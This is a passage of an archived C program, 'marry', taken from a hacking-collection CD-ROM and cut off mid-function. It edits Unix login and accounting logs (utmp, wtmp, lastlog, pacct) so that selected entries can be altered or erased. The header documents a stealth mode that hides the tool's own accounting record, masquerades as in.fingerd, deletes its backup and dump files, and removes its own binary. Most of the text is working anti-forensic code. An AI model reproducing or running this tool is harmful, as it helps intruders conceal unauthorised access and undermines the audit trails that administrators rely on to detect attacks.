home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / logmarry.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  33.4 KB  |  1,232 lines

  1. /* marry v1.1 (c) 1991 -- Proff -- proff@suburbia.apana.org.au,
  2.  * All rights reserved.
  3.  *
  4.  * May there be peace in the world, and objectivity amoung men.
  5.  *
  6.  * You may not use this program for unethical purposes. 
  7.  *
  8.  * You may not use this program in relation to your employment, or for monetary
  9.  * gain without express permission from the author.
  10.  *
  11.  * usage:  
  12.  *   marry [-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]
  13.  *         [-E editor] [-h program] [-b backup ]
  14.  *
  15.  *   -a         automode, dump, run editor over dump and re-assemble to object
  16.  *   -e         edit source, assemble directly to input file, imples no insertion
  17.  *              of records before an equal quantity of deltion
  18.  *   -t         truncate object to last line of dump source when assembling
  19.  *   -s         squeeze, delete all record in input not occuring in dump
  20.  *              (higher entries in input will be appended unless -t is also 
  21.  *              specified)
  22.  *   -u         when in [L]astlog mode do user-id -> name lookups (time consuming)
  23.  *   -S         Security, when in [A]cct and -[a]uto mode replace editor's acct
  24.  *              record with an unmodified random previous entry, detach from 
  25.  *              terminal, SIGKILL ourselves or execlp [-h program] to hide our
  26.  *              acct record (marry should be exec'ed under these circumstances)
  27.  *   -c         clean, delete backup and dump files once complete
  28.  *   -D         Delete our self once complete (i.e argv[0])
  29.  *   -n         no backups, don't make backups when in -e, -a modes or when
  30.  *              -i file == -o file
  31.  *   -i src     input, the utmp, wtmp, lastlog or p/acct file concerned. defaults
  32.  *              to the system wtmp/lastlog/pacct depending on mode if not specified
  33.  *   -o obj     output, the dump assembled and input merged version of the
  34.  *              above. if given and not in -[a]uto mode, implies we are 
  35.  *              assembling, not dumping. 
  36.  *   -d dump    dump, the dump (editable representation of src) file name. this
  37.  *              is is either an input (-o specified) an output (no -o) or both
  38.  *              -[a]uto. defaults to "marry.dmp" in the current directory if not
  39.  *              specified
  40.  *   -p pat     pattern match. When disassembling (dumping), only extract records
  41.  *              which match (checked against all string fields, and the uid if
  42.  *              the pattern is a valid username)
  43.  *   -v pat     inverse pattern match. like egrep -v. above non-logic features.
  44.  *   -m mode    mode is one of:
  45.  *
  46.  *                      W  -  utmp/wtmp (or utmpx/wtmpx see UTMPX #define)
  47.  *                      L  -  lastlog
  48.  *                      A  -  acct/pacct
  49.  *  
  50.  *   -E editor  editor to be used in -[a]uto mode. defaults to /usr/bin/vi. must
  51.  *              be the full path in -[S]ecurity mode (we do some clever
  52.  *              symlinking)
  53.  *   -h program hide, if -S mode is on, then attempt to conceal our acct entry by
  54.  *              execlp'ing the specified program. this seems to work on BSD derived
  55.  *              systems. with others, your might want to just call marry something
  56.  *              innocous.
  57.  *   -b backup  name of backup file, defaults to "marry.bak"
  58.  * 
  59.  *   the following instruction codes can be placed in position one of the dump
  60.  *   lines to be assembled (e.g "0057a" -> "=057a"):
  61.  *
  62.  *   '='        tag modification of entry. 
  63.  *   '+'        tag insertion of entry
  64.  *
  65.  * Examples:
  66.  *
  67.  * $ marry -mW -i /etc/utmp -s -a       # dump, edit, re-assemble and strip deleted
  68.  *                                      # entries from utmp
  69.  *  
  70.  * $ marry -mL -u -a -n -e              # dump lastlog with usernames, edit, make no
  71.  *                                      # backups and re-assemble in-situ directly to
  72.  *                                      # lastlog
  73.  *
  74.  * $ marry -mW -a -p mil -E emacs       # dump all wtmp entries matching "mil", edit
  75.  *                                      # with emacs, re-assemble and re-write to wtmp
  76.  *
  77.  * $ exec marry -mA -SceD               # dump all acct entries by root, edit, remove
  78.  *     -h /usr/sbin/in.fingerd          # editor's acct record, re-assemble directly
  79.  *     -p root -a -i /var/account/acct  # to acct in-situ, delete backup and dump file,
  80.  *                                      # delete ourself from the disk, unassign our
  81.  *                                      # controling terminal, and lastly overlay our
  82.  *                                      # self (and thus our to be acct record) with
  83.  *                                      # in.fingerd
  84.  */
  85.  
  86. #define UTMP
  87. #undef UTMPX /* solaris has both */
  88. #define LASTLOG
  89. /* #define PACCT */
  90.  
  91. #include <stdio.h>
  92. #include <unistd.h>
  93. #include <stdlib.h>
  94. #include <string.h>
  95. #include <sys/types.h>
  96. #include <sys/time.h>
  97. #include <sys/stat.h>
  98. #include <sys/wait.h>
  99. #include <fcntl.h>
  100. #include <signal.h>
  101. #include <pwd.h>
  102. #include <grp.h>
  103. #include <errno.h>
  104.  
  105. #ifdef __SVR3
  106. #  include <getopts.h>
  107. #endif
  108. #ifndef bsd
  109. #  if defined(__NetBSD__) || defined(bsdi) || defined(BSDI) || defined(__386BSD__)
  110. #    define bsd
  111. #  endif
  112. #endif
  113.  
  114. #if !defined(gcc)
  115. #  define NO_VOID /* non gcc, early compiliers */
  116. #endif
  117.  
  118. #ifndef __SVR3
  119. extern char *optarg; 
  120. #endif
  121.  
  122. #ifdef NO_VOID
  123. #  define VOID int
  124. #  define FVOID
  125. #else 
  126. #  define VOID void
  127. #  define FVOID void
  128. #endif
  129.  
  130. #ifndef bool 
  131. #  define bool char
  132. #endif
  133.  
  134. #define match(a,b) (match_s((a), (b), sizeof(a)))
  135.  
  136. #ifdef UTMP
  137. #ifdef UTMPX
  138. #  include <utmpx.h>
  139. #  define S_UTMP utmpx
  140. #  define UT_HOST ut_host
  141. #  define UT_ID ut_id
  142. #  define UT_TYPE ut_type
  143. #  define UT_PID ut_pid
  144. #  define UT_TV ut_tv
  145. #  ifdef _PATH_WTMPX
  146. #    define WTMP_FILE _PATH_WTMPX
  147. #  else
  148. #    ifdef WTMPX_FILE
  149. #      define WTMP_FILE WTMPX_FILE
  150. #    else
  151. #      define WTMP_FILE "/usr/adm/wtmpx"
  152. #    endif
  153. #  endif
  154. #else
  155. #  include <utmp.h>
  156. #  define S_UTMP utmp
  157. #  ifndef WTMP_FILE
  158. #    ifdef _PATH_WTMP
  159. #      define WTMP_FILE _PATH_WTMP
  160. #    else
  161. #      define WTMP_FILE "/usr/adm/wtmp"
  162. #    endif
  163. #  endif
  164. #  if !defined(ut_name) && !defined(ut_user)
  165. #    define ut_user ut_name
  166. #  endif
  167. #  if defined(linux) || defined(bsd) || defined(sun)
  168. #    define UT_HOST ut_host
  169. #  endif
  170. #  ifdef linux
  171. #    define UT_ADDR ut_addr
  172. #  endif
  173. #  define UT_TIME ut_time
  174. #  if defined(linux) || defined(solaris)
  175. #    define UT_PID  ut_pid
  176. #    define UT_ID   ut_id
  177. #  endif
  178. #  if defined(linux) || defined(solaris) || defined(sysv) || defined(SYSV) || defined(SVR4)
  179. #    define UT_TYPE ut_type
  180. #  endif
  181. #endif
  182. #endif
  183.  
  184. #ifdef LASTLOG
  185. #  ifdef bsd
  186. #    ifndef UTMP
  187. #      include <utmp.h>
  188. #    endif
  189. #  else
  190. #    include <lastlog.h>
  191. #  endif
  192. #  ifndef LASTLOG_FILE
  193. #    ifdef _PATH_LASTLOG
  194. #      define LASTLOG_FILE _PATH_LASTLOG
  195. #    else
  196. #      define LASTLOG_FILE "/usr/adm/lastlog"
  197. #    endif
  198. #  endif
  199. #  define LL_HOST ll_host
  200. #endif
  201.  
  202. #ifdef PACCT
  203. #  include <sys/acct.h>
  204. #  ifdef bsd
  205. #    define PACCT_FILE "/var/account/acct"
  206. #  else
  207. #    define PACCT_FILE "/usr/adm/pacct"
  208. #  endif
  209. #endif
  210.  
  211. #ifdef UT_ADDR
  212. #  include <arpa/inet.h>
  213. #endif
  214.  
  215. FILE *ofh, *ifh, *afh;
  216.  
  217. #ifdef UTMP
  218. struct S_UTMP s_utmp;
  219. #endif
  220. #ifdef LASTLOG
  221. struct lastlog s_lastlog;
  222. #endif
  223. #ifdef PACCT
  224. struct acct s_acct;
  225. struct acct ac_saved;
  226. int acct_step;
  227. #endif
  228. char ac_comm_hide[32];
  229.  
  230. struct passwd *uid;
  231. struct passwd uid_s;
  232. char **uida=NULL;
  233. char **gida=NULL;
  234.  
  235. #define MAX_UID 65537
  236.  
  237. char *quotes="\"\"";
  238.  
  239. int globline=0;
  240.  
  241. char *a_Input=NULL;
  242. char *a_Output=NULL;
  243. char *a_Pattern=NULL;
  244. char *a_Hide=NULL;
  245. #ifdef sun
  246. char *a_Editor="/usr/ucb/vi";
  247. #else
  248. char *a_Editor="/usr/bin/vi";
  249. #endif
  250. char *a_Dump="marry.dmp";
  251. char *a_Backup="marry.bak";
  252. bool f_Auto=0;
  253. bool f_Squeeze=0;
  254. bool f_EditSrc=0;
  255. bool f_Truncate=0;
  256. bool f_Exclude=0;
  257. bool f_Uid=0;
  258. bool f_Security=0;
  259. bool f_Clean=0;
  260. bool f_DeleteSelf=0;
  261. bool f_NoBackups=0;
  262. bool f_backedup;
  263. char mode;
  264.  
  265. int mode_size=0;
  266. void *mode_data;
  267.  
  268. int globline;
  269. char *mes;
  270. time_t otime=0;
  271. FVOID display()
  272. {
  273. static int n;
  274. time_t t;
  275.         globline++;
  276.         if (n++<30) return; /* don't want too many context switches */
  277.         n=0;
  278.         time(&t);
  279.         if (t<(otime+1)) return;
  280.         otime=t;
  281.         printf("%s%d\r", mes, globline);
  282.         fflush(stdout);
  283. }
  284. FVOID display_end()
  285. {
  286.         printf("%s%d\n", mes, globline);
  287.         fflush(stdout);
  288. }
  289.  
  290. #ifdef NO_VOID
  291. char
  292. #else
  293. void
  294. #endif
  295. *
  296. Smalloc(n)
  297. int n;
  298. {
  299. #ifdef NO_VOID
  300. char
  301. #else
  302. void
  303. #endif
  304. * p;
  305.         while (!(p=malloc(n))) sleep(1);
  306.         return p;
  307. }
  308.  
  309. bool copyf(src, dst)
  310. char *src;
  311. char *dst;
  312. {
  313. #define CBUFLEN 128*1024
  314. int fi, fo;
  315. char *buf;
  316. int cc;
  317.         if ((fi=open(src, O_RDONLY, 0))<0)
  318.         {
  319.                 perror(src);
  320.                 exit(1);
  321.         }
  322.         if ((fo=open(dst, O_WRONLY|O_CREAT|O_TRUNC, 0666))<0)
  323.         {
  324.                 perror(dst);
  325.                 exit(1);
  326.         }
  327.         buf=Smalloc(CBUFLEN);
  328.         while ((cc=read(fi, buf, CBUFLEN))>0)
  329.                 if (write(fo, buf, cc)!=cc)
  330.                 {
  331.                         perror(dst);
  332.                         exit(1);
  333.                 }
  334.         close(fo);
  335.         close(fi);
  336.         free(buf);
  337.         return 1;
  338. }
  339.  
  340. bool backup(src)
  341. char *src;
  342. {
  343.         printf("backup = %s\n", a_Backup);
  344.         fflush(stdout);
  345.         return copyf(src, a_Backup);
  346. }
  347.  
  348. char *match_s(haystack, needle, n)
  349. char *haystack;
  350. char *needle;
  351. int n;
  352. {
  353. static char tmp[256];
  354.         strncpy(tmp, haystack, n>sizeof(tmp)? sizeof(tmp): n);
  355.         return strstr(tmp, needle);
  356. }
  357.  
  358. unsigned short atoi2(s)
  359. char *s;
  360. {
  361.         return (s[0]-'0')*10+(s[1]-'0');
  362. }
  363.  
  364. char *p_string(s, size)
  365. char *s;
  366. int size;
  367. {
  368. static char sss[1024];
  369. register int n;
  370. char *ss=sss;
  371.         if (!*s) return quotes;
  372.         
  373.         for (n=0; n<size; n++)
  374.         {
  375.                 char c=s[n];
  376.                 switch (c)
  377.                 {
  378.                 case '\\':
  379.                         *(ss++)=c;
  380.                         break;
  381.                 case ' ':
  382.                         *(ss++)='\\';
  383.                         break;
  384.                 case '\t':
  385.                         *(ss++)='\\';
  386.                         c='t';
  387.                         break;
  388.                 case '\n':
  389.                         *(ss++)='\\';
  390.                         c='n';
  391.                         break;
  392.                 case '\r':
  393.                         *(ss++)='\\';
  394.                         c='r';
  395.                         break;
  396.                 case 0:
  397.                         goto end;
  398.                 }
  399.                 *(ss++)=c;
  400.         }
  401. end:
  402.         *ss=0;
  403.         return sss;
  404. }
  405.  
  406. char *skip_white(s)
  407. char *s;
  408. {       for (; *s && (*s=='\t' || *s==' '); s++);
  409.         if (!*s || (*s=='\n')) return NULL;
  410.         return s;
  411. }
  412.  
  413. char *g_string(d, s, size)
  414. char *d;
  415. char *s;
  416. int size;
  417. {
  418. int y;
  419. char c;
  420. char f_esc=0;
  421.         for (y=0; y<size; y++) d[y]=0;
  422.         if (!(s=skip_white(s))) return NULL;
  423.         if (*s=='"' && *(s+1)=='"') return s+2;
  424.         for (y=0; y<size; s++)
  425.         {
  426.                 c=*s;
  427.                 if (f_esc)
  428.                 {
  429.                         switch(c)
  430.                         {
  431.                         case 'r':
  432.                                 c='\r';
  433.                                 break;
  434.                         case 'n':
  435.                                 c='\n';
  436.                                 break;
  437.                         case 't':
  438.                                 c='\t';
  439.                                 break;
  440.                         }
  441.                         f_esc=0;
  442.                 } else {
  443.                         switch(c)
  444.                         {
  445.                         case '\\':
  446.                                 f_esc=1;
  447.                                 continue;
  448.                         case ' ':
  449.                         case '\t':
  450.                         case '\n':
  451.                         case '\0':
  452.                                 goto end;
  453.                         }
  454.                 }
  455.                 d[y++]=c;
  456.         }
  457. end:
  458.         return s+1;
  459. }
  460.  
  461. char *time_s(tt)
  462. time_t tt;
  463. {
  464. static char s[13];
  465.         time_t t=tt; /* some compilers won't take a parameter address */
  466.         struct tm *tp;
  467.         tp=localtime(&t);
  468.         sprintf(s, "%02d%02d%02d%02d%02d%02d",
  469.                 tp->tm_year, tp->tm_mon+1, tp->tm_mday,
  470.                 tp->tm_hour, tp->tm_min, tp->tm_sec);
  471.         return s;
  472. }
  473.  
  474. time_t time_i(s)
  475. char *s;
  476. {
  477.         struct tm lt;
  478.         time_t t;
  479.         if (strlen(s)!=12) return (time_t)-1;
  480.         time(&t);
  481.         lt=*localtime(&t);
  482.         lt.tm_year=atoi2(s);
  483.         lt.tm_mon=atoi2(s+2)-1;
  484.         lt.tm_mday=atoi2(s+4);
  485.         lt.tm_hour=atoi2(s+6);
  486.         lt.tm_min=atoi2(s+8);
  487.         lt.tm_sec=atoi2(s+10);
  488.         lt.tm_isdst=-1;
  489.         return mktime(<);
  490. }
  491.  
  492. char *
  493. bgetgrgid(u)
  494. gid_t u;
  495. {
  496. struct group *gr;
  497.         if (!gida)
  498.         {
  499.                 int n;
  500.                 gida=(char **)Smalloc(sizeof(char *)*MAX_UID);
  501.                 for (n=0; n<MAX_UID; n++) gida[n]=NULL; 
  502.         }
  503.         if (gida[u]==(char *)-1) return NULL;
  504.         if (gida[u]) return gida[u];
  505.         if (!(gr=getgrgid(u))) 
  506.         {
  507.                 gida[u]=(char *)-1;
  508.                 return NULL;
  509.         }
  510.         gida[u]=Smalloc(strlen(gr->gr_name)+1);
  511.         strcpy(gida[u], gr->gr_name);
  512.         return gida[u];
  513. }
  514.  
  515. char *
  516. bgetpwuid(u)
  517. uid_t u;
  518. {
  519. struct passwd *pw;
  520.         if (!uida)
  521.         {
  522.                 int n;
  523.                 uida=(char **)Smalloc(sizeof(struct passwd *)*MAX_UID);
  524.                 for (n=0; n<MAX_UID; n++) uida[n]=NULL; 
  525.         }
  526.         if (uida[u]==(char *)-1) return NULL;
  527.         if (uida[u]) return uida[u];
  528.         if (!(pw=getpwuid(u))) 
  529.         {
  530.                 uida[u]=(char *)-1;
  531.                 return NULL;
  532.         }
  533.         uida[u]=Smalloc(strlen(pw->pw_name)+1);
  534.         strcpy(uida[u], pw->pw_name);
  535.         return uida[u];
  536. }
  537.  
  538. #ifdef UTMP
  539. bool dump_utmp(uline, ut)
  540. int uline;
  541. struct S_UTMP *ut;
  542. {
  543.         time_t tim;
  544.         if (a_Pattern)
  545.         {
  546.                 if (!match(ut->ut_user, a_Pattern) &&
  547.                     !match(ut->ut_line, a_Pattern)
  548. #ifdef UT_HOST
  549.                     && !match(ut->UT_HOST, a_Pattern)
  550. #endif
  551.                         ) {if (!f_Exclude) return 1;}
  552.                 else if (f_Exclude) return 1;
  553.          }
  554.         fprintf(afh, "%05x", uline-1);
  555.         fprintf(afh, " %-8s", p_string(ut->ut_user, sizeof(ut->ut_user)));
  556.         fprintf(afh, " %-11s", p_string(ut->ut_line, sizeof(ut->ut_line)));
  557. #ifdef UT_ID
  558.         fprintf(afh, " %-4s", p_string(ut->UT_ID, sizeof(ut->UT_ID)));
  559. #endif
  560. #ifdef UT_TYPE
  561.         fprintf(afh, " %-2x", ut->UT_TYPE);
  562. #endif
  563. #ifdef UT_PID
  564.         fprintf(afh, " %-5d", (int)ut->UT_PID);
  565. #endif
  566. #if defined(UT_TIME) || defined (UT_TV)
  567. #  ifdef UT_TIME
  568.         tim=ut->UT_TIME;
  569. #  else
  570.         tim=ut->UT_TV.tv_sec;
  571. #  endif
  572.         fprintf(afh, " %s", time_s(tim));
  573. #endif
  574. #ifdef UT_ADDR
  575.         fprintf(afh, " %-15s", inet_ntoa(*((struct in_addr *)&ut->UT_ADDR)));
  576. #endif
  577. #ifdef UT_HOST
  578.         fprintf(afh, " %s", p_string(ut->UT_HOST, sizeof(ut->UT_HOST)));
  579. #endif
  580.         fputc('\n', afh);
  581.         return 1;
  582. }
  583. #endif
  584.  
  585. #ifdef LASTLOG
  586. bool dump_lastlog(uline, ll)
  587. int uline;
  588. struct lastlog *ll;
  589. {
  590.         char *name;
  591.         struct passwd *pw;
  592.         if (f_Uid) 
  593.         {
  594.                 pw=getpwuid(uline-1);
  595.                 name=pw? pw->pw_name: quotes;
  596.         } else
  597.         {
  598.           static char s[6];
  599.                 sprintf(s, "%05d", uline-1);
  600.                 name=s;
  601.         }
  602.         if (a_Pattern)
  603.         {
  604.                 if (
  605.                     (!uid || (uid->pw_uid!=(uline-1))) &&
  606.                     (!f_Uid || strstr(name, a_Pattern)) &&
  607. #ifdef LL_HOST
  608.                     !match(ll->ll_host, a_Pattern) &&
  609. #endif
  610.                     !match(ll->ll_line, a_Pattern)
  611.                         ) {if (!f_Exclude) return 1;}
  612.                 else if (f_Exclude) return 1;
  613.          }
  614.         fprintf(afh, "%05x", uline-1);
  615.         fprintf(afh, " %-8s", name);
  616.         fprintf(afh, " %-11s", p_string(ll->ll_line, sizeof(ll->ll_line)));
  617.         fprintf(afh, " %s", time_s(ll->ll_time));
  618. #ifdef LL_HOST
  619.         fprintf(afh, " %s", p_string(ll->LL_HOST, sizeof(ll->LL_HOST)));
  620. #endif
  621.         fputc('\n', afh);
  622.         return 1;
  623. }
  624. #endif
  625.  
  626. #ifdef PACCT
  627. bool dump_pacct(uline, ac)
  628. int uline;
  629. struct acct *ac;
  630. {
  631.         char *name;
  632.         char *gr_name;
  633.         if (!(name=bgetpwuid(ac->ac_uid)))
  634.         {
  635.           static char s[6];
  636.                 sprintf(s, "%05d", ac->ac_uid);
  637.                 name=s;
  638.         }
  639.         if (!(gr_name=bgetgrgid(ac->ac_gid)))
  640.         {
  641.           static char s[6];
  642.                 sprintf(s, "%05d", ac->ac_gid);
  643.                 gr_name=s;
  644.         }
  645.         if (a_Pattern)
  646.         {
  647.                 if (
  648.                     (!uid || (uid->pw_uid!=ac->ac_uid)) &&
  649.                     (strstr(name, a_Pattern)) &&
  650.                     (strstr(gr_name, a_Pattern))
  651.                         ) {if (!f_Exclude) return 1;}
  652.                 else if (f_Exclude) return 1;
  653.         }
  654.         fprintf(afh, "%05x", uline-1);
  655.         fprintf(afh, " %-8s", name);
  656.         fprintf(afh, " %-8s", gr_name);
  657.         fprintf(afh, " %-10s", p_string(ac->ac_comm, sizeof(ac->ac_comm)));
  658.         if (ac->ac_tty==(dev_t)-1)
  659.                 fputs(" ----", afh);
  660.         else
  661.                 fprintf(afh, " %04x", ac->ac_tty);
  662.         fprintf(afh, " %2x", ac->ac_flag);
  663.         fprintf(afh, " %s", time_s(ac->ac_btime));
  664.         fputc('\n', afh);
  665.         return 1;
  666. }
  667. #endif
  668.  
  669. FVOID makedump()
  670. {
  671. int uline;
  672.         if ((ifh=fopen(a_Input, "r"))==NULL)
  673.         {
  674.                 perror(a_Input);
  675.                 exit(1);
  676.         }
  677.         if ((afh=fopen(a_Dump, "w"))==NULL)
  678.         {
  679.                 perror(a_Dump);
  680.                 exit(1);
  681.         }
  682.         fputc('\n', stdout);
  683.         globline=0;
  684.         mes="entries disassembled: ";
  685.         for (uline=1; fread(mode_data, mode_size, 1, ifh)>0; uline++)
  686.         {
  687.                 display();
  688.                 switch(mode)
  689.                 {
  690. #ifdef UTMP
  691.                 case 'W':
  692.                         dump_utmp(uline, mode_data);
  693.                         break;
  694. #endif
  695. #ifdef LASTLOG
  696.                 case 'L':
  697.                         dump_lastlog(uline, mode_data);
  698.                         break;
  699. #endif
  700. #ifdef PACCT
  701.                 case 'A':
  702.                         dump_pacct(uline, mode_data);
  703.                         break;
  704. #endif
  705.                 }
  706.         }
  707.         display_end();
  708.         fclose(afh);
  709.         fclose(ifh);
  710. }
  711.  
  712. int seek_ifh(uline)
  713. int uline;
  714. {
  715.         if (ftell(ifh)!=mode_size*(uline-1))
  716.                 if (fseek(ifh, mode_size*(uline-1), SEEK_SET)==-1)
  717.                         return 0;
  718.         return 1;
  719. }
  720.  
  721. #ifdef UTMP
  722. int mod_utmp(ut, p)
  723. struct S_UTMP *ut;
  724. char *p;
  725. {
  726.         char *op;
  727. static char tmp[255];
  728. #if defined(UT_TIME) || defined(UT_TV)
  729. #endif
  730.         op=p;
  731.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  732.         if (!(p=g_string(ut->ut_user, p, sizeof(ut->ut_user)))) return 0;
  733.         if (!(p=g_string(ut->ut_line, p, sizeof(ut->ut_line)))) return 0;
  734. #ifdef UT_ID
  735.         if (!(p=g_string(ut->UT_ID, p, sizeof(ut->UT_ID)))) return 0;
  736. #endif
  737. #ifdef UT_TYPE
  738.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  739.         sscanf(tmp, "%x", (unsigned int *)&(ut->UT_TYPE));
  740. #endif
  741. #ifdef UT_PID
  742.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  743.         ut->UT_PID=atoi(tmp);
  744. #endif
  745. #if defined(UT_TIME) || defined(UT_TV)
  746.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  747. #  ifdef UT_TIME
  748.         if ((ut->UT_TIME=time_i(tmp))==(time_t)-1)
  749. #  else /* UT_TV */
  750.         if ((ut->UT_TV.tv_sec=time_i(tmp))==(time_t)-1)
  751. #  endif
  752.                 fprintf(stderr, "warning: invalid time spec %s", op);
  753. #endif
  754. #ifdef UT_ADDR
  755.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  756.         ut->UT_ADDR=inet_addr(tmp);
  757. #endif
  758. #ifdef UT_HOST
  759.         if (!(p=g_string(ut->UT_HOST, p, sizeof(ut->UT_HOST)))) return 0;
  760. #endif
  761.         return 1;
  762. }
  763. #endif
  764.  
  765. #ifdef LASTLOG
  766. int mod_lastlog(ll, p)
  767. struct lastlog *ll;
  768. char *p;
  769. {
  770.         char *op;
  771. static char tmp[255];
  772.         op=p;
  773.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  774.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; /*skip name*/
  775.         if (!(p=g_string(ll->ll_line, p, sizeof(ll->ll_line)))) return 0;
  776.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  777.         if ((ll->ll_time=time_i(tmp))==(time_t)-1)
  778.                 fprintf(stderr, "warning illegal time: %s\n", op);
  779. #ifdef LL_HOST
  780.         if (!(p=g_string(ll->ll_host, p, sizeof(ll->ll_host)))) return 0;
  781. #endif
  782.         return 1;
  783. }
  784. #endif
  785.  
  786. #ifdef PACCT
  787. int mod_pacct(ac, p)
  788. struct acct *ac;
  789. char *p;
  790. {
  791. static char tmp[255];
  792. struct passwd *pw;
  793. struct group *gr;
  794. char *op;
  795. long int t;
  796. unsigned int tu;
  797.         op=p;
  798.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  799.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  800.         if (sscanf(tmp, "%ld", &t)!=1)
  801.         {
  802.                 if (!(pw=getpwnam(tmp)))
  803.                         fprintf(stderr, "warning: unknown username %s\n", op);
  804.                 else
  805.                         ac->ac_uid=pw->pw_uid;
  806.         } else ac->ac_uid=t;
  807.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  808.         if (sscanf(tmp, "%ld", &t)!=1)
  809.         {
  810.                 if (!(gr=getgrnam(tmp)))
  811.                         fprintf(stderr, "warning: unknown group %s\n", op);
  812.                 else
  813.                         ac->ac_gid=pw->pw_gid;
  814.         } else ac->ac_gid=t;
  815.         if (!(p=g_string(ac->ac_comm, p, sizeof(ac->ac_comm)))) return 0;
  816.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  817.         if (sscanf(tmp, "%x", &tu)!=1) ac->ac_tty=(dev_t)-1;
  818.         else ac->ac_tty=tu;
  819.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  820.         if (sscanf(tmp, "%x", &tu)!=1)
  821.                 fprintf(stderr, "warning: invalid flags %s\n", op);
  822.         else ac->ac_flag=tu;
  823.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  824.         if ((ac->ac_btime=time_i(tmp))==(time_t)-1)
  825.                 fprintf(stderr, "warning: illegal time: %s\n", op);
  826.         return 1;
  827. }
  828. #endif
  829.  
  830. bool wcopy(uline)
  831. int uline;
  832. {
  833.         if (!seek_ifh(uline)) return 0;
  834.         while (fread(mode_data, mode_size, 1, ifh)>0)
  835.         {
  836.                 display();
  837. #ifdef PACCT
  838.                 if (f_Security && f_Auto && mode=='A')
  839.                 {
  840.                         struct acct *p; 
  841.                         p=(struct acct *)mode_data;
  842.                         if (!strncmp(p->ac_comm, ac_comm_hide, sizeof(ac_comm_hide)))
  843.                         {
  844.                                 ac_saved.ac_btime=p->ac_btime;
  845.                                 *p=ac_saved;
  846.                         }
  847.                 }
  848. #endif
  849.                 if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  850.         }
  851. #ifndef NO_FTRUNCATE
  852.         if (f_Squeeze && f_EditSrc) ftruncate(fileno(ofh), ftell(ofh));
  853. #endif
  854.         return 1;
  855. }
  856.  
  857. bool domod(p)
  858. char *p;
  859. {
  860. bool ret=0;
  861.         if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  862.         switch(mode)
  863.         {
  864. #ifdef UTMP
  865.         case 'W':
  866.                 ret=mod_utmp(mode_data, p);
  867.                 break;
  868. #endif
  869. #ifdef LASTLOG
  870.         case 'L':
  871.                 ret=mod_lastlog(mode_data, p);
  872.                 break;
  873. #endif
  874. #ifdef PACCT
  875.         case 'A':
  876.                 ret=mod_pacct(mode_data, p);
  877.                 break;
  878. #endif
  879.         }
  880.         if (!ret)
  881.                 fprintf(stderr, "warning: invalid dump input `%s'\n", p);
  882.         return 1;
  883. }
  884.  
  885. static wu_line=0;
  886.  
  887. int obj_update(uline, p, f_mod)
  888. int uline;
  889. char *p;
  890. char f_mod;
  891. {
  892.         if (f_Squeeze)
  893.         {
  894.                 display();
  895.                 seek_ifh(uline);
  896.                 if (f_mod) {if (!domod(p)) return 0;}
  897.                 else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  898.                 if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  899.         } else {
  900.                 if (f_EditSrc)
  901.                 {
  902.                         if (f_mod)
  903.                                 fseek(ofh, mode_size*(uline-1), SEEK_SET);
  904.                 } else {
  905.                         while(++wu_line<uline)
  906.                         {
  907.                                 display();
  908.                                 if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  909.                                 if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  910.                         }
  911.                 }
  912.                 if (f_mod)
  913.                 {
  914.                         seek_ifh(uline);
  915.                         if (!domod(p)) return 0;
  916.                         if (f_mod==2) wu_line--; 
  917.                 } else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  918.                 if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  919.                 display();
  920.         }
  921. #ifdef PACCT
  922.         if (f_Security && f_Auto && !f_mod && mode=='A')
  923.                 if (!uline%acct_step) ac_saved=*(struct acct *)mode_data;
  924. #endif
  925.         return 1;
  926. }
  927.  
  928. FVOID makeobject()
  929. {
  930. int uline=1;
  931. char line[1024];
  932. char *p;
  933. char f_mod;
  934.         if ((ifh=fopen(a_Input, "r"))==NULL)
  935.         {
  936.                 perror(a_Input);
  937.                 exit(1);
  938.         }
  939.         if ((afh=fopen(a_Dump, "r"))==NULL)
  940.         {
  941.                 perror(a_Dump);
  942.                 exit(1);
  943.         }
  944.         if ((ofh=fopen(a_Output, f_EditSrc? "r+": "w"))==NULL)
  945.         {
  946.                 perror(a_Output);
  947.                 exit(1);
  948.         }
  949. #ifdef PACCT
  950.         if (f_Security && f_Auto && mode=='A')
  951.                 acct_step=(getpid()+8)%60;
  952. #endif
  953.         fputc('\n', stdout);
  954.         globline=0;
  955.         mes="entries assembled: ";
  956.         while (1)
  957.         {
  958.                 if (!fgets((p=line), sizeof(line), afh)) 
  959.                 {
  960.                         if (f_EditSrc)
  961.                         {
  962. #ifndef NO_FTRUNCATE
  963.                                 if (f_Truncate)
  964.                                 {
  965.                                         fflush(ofh);
  966.                                         ftruncate(fileno(ofh), uline*mode_size);
  967.                                 }
  968. #endif
  969.                                 goto closeup;
  970.                         }
  971.                         if (!f_Truncate) wcopy(uline+1);
  972.                         goto closeup;
  973.                 }
  974.                 switch (*p)
  975.                 {
  976.                 case 0:
  977.                 case '#':
  978.                 case '\n':
  979.                         continue;
  980.                 case '=': 
  981.                         f_mod=1; 
  982.                         p++; 
  983.                         break;
  984.                 case '+':
  985.                         if (f_EditSrc)
  986.                         {
  987.                                 if (f_Squeeze)
